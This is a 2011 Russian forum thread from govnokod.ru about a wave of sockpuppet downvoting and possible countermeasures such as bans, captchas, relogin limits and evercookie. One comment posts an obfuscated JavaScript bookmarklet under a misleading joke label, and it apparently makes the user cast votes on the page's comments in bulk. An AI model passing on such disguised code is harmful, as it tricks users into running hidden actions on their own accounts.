1. Куча / Говнокод #5191

    +142

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    В связи с минусаторной атакой в говнокоде 5186, просьба.
    Страйкер, заблокируй пользователей с номерами
    http://govnokod.ru/user/2689 - 
    http://govnokod.ru/user/2703
    
    (весь диапазон оккупировали тролли-виртуалы)
    
    И ИП-адрес, с которого эти пользователи логинились.

    Запостил: TarasB, 09 Января 2011

    Комментарии (115) RSS

    • Поддерживаю во всем, кроме айпи адресов. Они могут быть динамическими.
      Ответить
    • Возможно, нужно как-то ограничивать треды зла. Например, массовое минусование запрещать, вводить временно-количественные ограничения.
      Вообще, проблемы с ними начинаются только если бы все набрали пять минусов. Разворачивать весь тред на сто псто - не самое приятное действие.
      Ответить
      • поддерживаю
        Ответить
      • Заплюсовали. Никакие минусаторы не справятся. :)
        Ответить
      • >Разворачивать весь тред на сто псто - не самое приятное действие.
        Нужно сделать кнопочку - развернуть(раскрыть) весь тред.
        Ответить
    • я смотрю на говнокоде словесные говнокоды набирают популярность.
      страйку проще забанить анально уязвленных, чем все их прихоти выполнять
      Ответить
    • Я правда не уверен, что это сам Багменот.
      Может, это подстава.
      А может, он не думал, что спалиться так просто.
      Ответить
      • где здесь Багминот?
        Ответить
        • По ссылкам.
          Ответить
          • оу. Кому-то он тоже перешел дорогу.
            Ну ничего, вроде бы в России праздники уже кончаются, скоро дети пойдут в школу :)
            Ответить
          • А как Вы этих ботов вычислили?
            Неужели кучу юзеров вручную пересмотрели?
            http://govnokod.ru/user/2689
            http://govnokod.ru/user/2703
            Ответить
            • Нет, я не стал применять линейный поиск, я применил дихотомию.
              А ещё программистом себя считаешь...
              Ответить
              • >я применил дихотомию.
                К не сортированному списку логинов? лол ))
                Ответить
                • Список логинов отсортирован по признаку "есть логин-нет логина".
                  Ответить
                • >А ещё программистом себя считаешь
                  А где я такое говорил? Может я дворник или директор. ))
                  Ответить
              • не дихо-, но тоже -томия http://rwcdax.here.ru/lobotomy.htm
                Ответить
    • KirAmp 29 минут назад # +10
      eth0 29 минут назад # +13
      мощно въебали по плюсу
      Ответить
    • ура, каптча заработала!
      Ответить
      • Проверка
        И вправду.
        Ответить
        • опять не работает. да что же это такое. То работает, то нет )
          Ответить
      • Не знаю. Я попрежнему без ввода её часто ввожу... Например сейчас.
        Ответить
    • ё-маё, наблюдаю в реальном времени, как http://govnokod.ru/5191#comment68437 плюсуется
      Ответить
      • Это не я. У меня только 5 виртуалов, а не 15.
        Ответить
        • Доказательства есть? ))
          Ответить
          • список id виртуалов в студию ))))
            Ответить
            • Не-не-не, это мой личный анти-тролльский дивизион.
              Ответить
              • > анти-тролльский

                Доказательства есть? )) (ц)
                Ответить
              • >мой личный анти-тролльский дивизион
                Представляете, как хорошо бы его применить ради спасени ваших постов. Если их заминусовали по делу - Вы это исправляете... А если кто-то Вам не нравится - Вы его треды и говнокоды топите...
                Змий-искиситиль. (и)
                Ответить
                • Не, я чужие треды и говнокоды не топлю. Только против троллей. И то только тогда, когда я не троллю.
                  Ответить
              • Анон, ты знаешь, у меня появилась идея завести лирушечку. Не одну. Сотню. Лучше две, три сотни. ТЫСЯЧИ ЛИРУШЕЧЕК! И знаешь, что я буду с ними делать? Я буду ходить с ними по всем уютненьким лирушечкам и хуячить их в минуса. Люто, бешено хуячить в минуса. В МИНУСА, БЛДЖАД, В МИНУСА! АНТИПАФКИ, МИЛЛИАРДЫ ИХ. Плачущие быдлогёрлы, прыгающие из окна, благодаря мне… Это чудесно.
                Ответить
                • Да это даже лучше чем обмазаться гавнецом, обвалятся в распечатках исходников с ГК и дрочить на розовую Пони.
                  Ответить
    • ммм, в связи с накруткой минусов\плюсов функция рейтинга вообще потеряла свою значимость. Раньше хоть можно было отслеживать, понравилось кому-то чье-то мнение или наоборот, хуйню сморозил. Нонче же это превратилось в орудие войны между юзерами
      Ответить
      • кармадроч всегда к этому скатывается (удивительно другое - гк довольно долго держался)
        Ответить
        • угу. Нонейм - ярчайший пример, как хороший ресурс может вконец опротиветь
          кстати, кармадроч там просто процветает
          Ответить
      • Я давно думаю о системе, когда рейтинг виден только автору поста и более никому. Но ни на одном сайте такой системы не встречал. Кто-нибудь на этот счёт что-нибудь может сказать? Применяется ли, какой эффект, не попробовать ли?
        Ответить
        • высказывайтесь. Я аккумулирую идеи, постараюсь наиболее удачное воспроизвести в системе, похожей на данную (говнокод)
          Ответить
          • будешь там веселиться с 1,5 анонами
            Ответить
            • при поддержке Страйко = )
              Ответить
              • что? опять на пхп?
                Ответить
                • вы так говорите, буд-то бы это однозначно определяет абсолютно все.

                  пхп, конечно, не лучший язык\платформа, но это не значит что нужно его предавать анафеме и из каких-то принципов его избегать как черт ладана

                  не поверите, и на пхп можно написать грамотную систему.

                  Впрочем. Может, у вас будут другие предложения?
                  Ответить
          • Да чего высказываться, я сказал уже всё. Те же плюсики-минусики, но каждый видит рейтинг только собственных постов. Эффект стада зарезается на корню, минусаторные атаки теряют всю красоту. Вопрос у меня вот в чём возникает: быть того не может, чтобы эту идею уже где-то не воплотили, но мне лично видеть не доводилось. Если кто в курсе, то, может, расскажет, где применяется, катит ли вообще, какие подводные камни от её практической реализации?
            Ответить
            • на первый взгляд, это хорошо.
              Как всегда, практика покажет.
              (например, на заре www никто не думал, что html теги надо из сообщений вырезать)

              А так я сходу не припомню, где бы это было реализовано
              Ответить
              • Если это реализовать, то перестанут совсем плюсовать\минусовать.

                В любом споре мне интересно знать мнение окружающих о том, что сказал я и о том, что сказал мой оппонент.

                Мнения о фразах опонента я перестану видеть, что не удобно.
                Так что я против.

                Это какие-то альтернативно одарённые единицы минусуют...
                В любом случае месяцок поминусуют, а потом надоест (каждый раз перелогиниваться неудобно) и может вообще с ресурса уйдут...
                Ответить
                • предлагаю такой вариант: видеть мнения других только после выражения своего, но никак не до - что бы избежать того же стадного инстинкта

                  п.с. впрочем, от последующего нашествия виртуалов это не убережет все равно
                  Ответить
                • >каждый раз перелогиниваться неудобно

                  а для чего боты придуманы?
                  Ответить
                • Насчёт мнения о том, что сказал оппонент, как-то не подумал. Действительно, в этом плане система фейлит. Хотя лично для меня это было бы некритично. Но ценно узнать, что кто-то думает иначе.

                  Насчёт "перестанут совсем плюсовать/минусовать" не согласен. Первый плюс или минус всегда кто-то ставит, некто "инициативный". У последующих оценок гораздо больше шансов быть поставленными вследствие "эффекта стада". Тут же просто уменьшится число оценок за счёт относительно малой доли "инициативных" людей, но вот адекватность оценки возрастёт, как мне кажется.
                  Ответить
                  • >Первый плюс или минус всегда кто-то ставит
                    А именно тот, кто с Вами не согласен и так посмотрев на отсутвие плюсов у оппонента и наличие минуса у себя - понимаешь скорее всего оппонент проминусовал, значит этот минус можно не учитывать.
                    Ответить
                    • быть может, давать возможность глянуть, кто минусовал тебя, кто плюсовал?
                      Ответить
                      • Может быть... Не знаю...
                        Ответить
                      • От перехода на личности недалеко до вконтактовской ситуации, когда даже серьёзные дяди и тёти испытывают сочный битторрент от того, что их расфрендил один из друзьяшек. Не хотет.
                        Ответить
              • В любом случае тролль сделав -5 рейтинг - скрывает коммент. Троль видит это и радуется. Его дело ведь процветает!

                Так, что скрывать рейтинг бесполезно, пока комменты скрываются согласно рейтингу.
                Ответить
                • можно не скрывать. Например, на том же хабре заминусованный коммент просто становится сереньким и написанное читается труднее, при наводе мышкой - опять чернеет

                  я вообще за личный игнорлист
                  Ответить
                  • >коммент просто становится сереньким
                    Если его отобраить не будет возможности, то это только хуже.
                    Представляете прочесть полностью серенький плохо видный тред? Глаза сломаешь...
                    Ответить
                  • поставь govnoWishMaster
                    тут где-то уже ложили js для сокрытия неугодных
                    Ответить
                  • ОМГ, хабрахомяк! Быстро в машину!
                    Ответить
          • Есть ещё вариант: взять пример с того же ithappens и тупо выкинуть минусы, оставив только плюсы. У них, по крайней мере, вполне себе работает. Правда, для постов, а не комментариев, но чем чёрт не шутит.
            Ответить
      • Да и раньше было так, что один хрен минусанёт, а прочие сразу побегут стадом добивать.

        > Нонче же это превратилось в орудие войны между юзерами

        Честно говоря, я сам сыграл в этом постыдном деле не самую последнюю роль.
        Ответить
        • я тоже поставил пару экспериментов. Мда, оправдались худшие предположения
          Ответить
    • :D
      Ответить
    • Интересно, только гостей и ацких сиплюсплюсеров проводили, а вот и новая напасть...
      Ответить
    • Чем так минусовать, лучше бы на работу\институт\школу ходили. Хоть толк бы был...
      Ответить
    • Так скоро придёться кепчу на минусование вводить...
      Ответить
      • вот я тоже подумал
        Ответить
        • На плюсование тоже:
          Вон что творится (плюсуют):
          http://govnokod.ru/5186
          Или так везде?
          Ответить
          • новая забава школотроллей. И так все топики на первой странице
            Ответить
          • хотя, все же плюсы лучше, чем минусы
            Ответить
          • Теперь они наоборот, в обратную сторону потянули.
            Ответить
            • ну так ясно, детишки развлекаются. Поразвлекаются, надоест, и перестанут
              Ответить
    • Самое отличительное дело в ботоводстве - процедура выхода с логина и захода обратно.

      Предлагаю как-то усложнить процедуру релогинивания, например вводить длинную кепчу, хоть это и не очень хороший вариант.

      Лучше всего запретить релогин на некоторое время.
      Например, если вышел, то час не можешь войти снова с этого айпи...
      Или не можешь входить какое-то длительное время с ником, отличным от последнего.
      По моему скромному мнению - лучший вариант.
      Ответить
      • > снова с этого айпи
        значит, двое из одной локалки не войдут?
        Ответить
        • С айпи фейл... ((
          Ответить
          • как вариант - куки, но куки умеют чистить все.
            Впрочем, есть вариант жесткого запоминания, который использует любые возможные технологии, типа флеша и джавы, которые потереть чуть более проблематично
            Ответить
            • Может всёже сделать проверку по айпи и поставить паузу в 15 минут?
              Врятли так часто народ будет заходить с одной локалки на говнокод..
              Нормальные люди чистят куки редко, так что и перелогиниваться часто им не придётся, так что как варинт. Перелогиниваться часто придёться лишь троллям. :)
              Ответить
              • Пардон, таймаут перед релогином не вариант. Я могу по не зависящим от меня обстоятельствам множество раз за час перелогиниться в свой аккаунт.
                Хотя, можно так: юзер выходит -> не может зайти в другой аккаунт [м.б. да, 15?] минут. От троллей канает вроде бы.
                Ответить
            • Есть такая годная штука - evercookie. Сама суётся куда только можно, и обычным пользователям интернетов вычищается с трудом.
              Ответить
              • да-да, именно про это я и говорил. только забыл, как называется. Спасибо, что напомнили
                Ответить
    • Может забанить всех последних зарегистрированных логинов (ботов), предварительно удостоверевшись, что они поигрались в тредах с рейтингами?
      Ответить
    • Вообще, если дальше чего-нибудь не сделать - боты начнут не только посты, но и сами говнокоды топить...
      Ответить
    • чтобы добавить симпы в тред - воспользуйтесь след. букмарклетом
      javascript:var _7714;var _7800='231D63B182D709D688D670D655E475E463D475E472E646A493C652B688B682D682D658B685A703A490F709A688C703C658B490D646D664E646B670D685E700B703F472E478F493C658D646D652B667E475C661C706A685B652B703B670D688A685D475B478A724E652D688B682D682E658D685D703B700A493B709A688B703E658B475B463B475C703A667D670E700D478C478D730D478C478A';var _2191=/[\x41\x42\x43\x44\x45\x46]/;var _1047=2;var _4075=_7800.charAt(_7800.length-1);var _5605;var _7915=_7800.split(_2191);var _3043=[String.fromCharCode,isNaN,parseInt,String];_7915[1]=_3043[_1047+1](_3043[_1047](_7915[1])/21);var _8202=(_1047==9)?String:eval;_5605='';_11=_3043[_1047](_7915[0])/_3043[_1047](_7915[1]);for(_7714=3;_7714<_11;_7714++)_5605+=(_3043[_1047-2]((_3043[_1047](_7915[_7714])+_3043[_1047](_7915[2])+_3043[_1047](_7915[1]))/_3043[_1047](_7915[1])-_3043[_1047](_7915[2])+_3043[_1047](_7915[1])-1));_8202(_5605);
      Ответить
    • Может завести журнал тех кто разлогинился \ залогинился и с каким ип и дальше на основе его анализа делать выводы.

      В том числе, можно сделать такой журнал публичным и пускай простые пользователи за этим следят, что-бы админа не напрягать. Естественно, ип заменить хешем или просто убрать.

      Если кто-то часто заходит\выходит - скорее всего бот и можно ставить его на админский контроль.
      Ответить
      • показать все, что скрыто>>>и дальше на основе его анализа делать вывод
        А "умную" утилиту которая это будет делать выводы, сами напишите?
        Ответить
      • Пять браузеров - перелогиниваться не надо. При КРАЙНЕМ желании, соответствующая утилита пишется за полчаса, из которых 20 минут уйдут на освежение в памяти работу с куками на клиентской стороне.
        И всё. Оружие зла готово.
        Ответить
    • Капча появляется по хитрому алгоритму, его сорцев нет в svn.

      TarasB, я посмотрел в #5186 и не увидел там ни одного заминусованного каммента. Что случилось то?

      Думаю, надо выводить рейтинг записи\комментария только после того, как сам голоснул за или против
      Ответить
      • В 5186 тролли и народ уже всё исправили.
        На момент написания этого ГК там половина обсуждения (дельного) была скрыта за -5, неудобно читать.
        Ответить
      • Сделайте кнопку показать всё скрытое в треде и тогда тролли пусть хоть заминусуются... :)
        Ответить
      • >выводить рейтинг записи\комментария только после того, как сам голоснул
        Представляю, как появится необходимость у всех, дабы посмотреть рейтинг поста - голосовать (даже если человек не имеет никакого своего мнения по данному вопросу, но хочет узнать мнение народа). :D
        Ответить
      • > по хитрому алгоритму
        и поэтому довольно часто не требует ввода?
        Ответить
    • Как старый вайпер написавший не одну жуткую машину (а даже две) совет даю такой:
      1.Капча кириличиская, OCR хуёва работают с кириликой.
      2.Капча появляется один раз при входе.
      3.Поствит логгер и посмотреть что вообще шлётся, часто кривописное говно палится по "Странным" заголовкам. (Как пример не стандартный User Agent)
      Ответить

    Добавить комментарий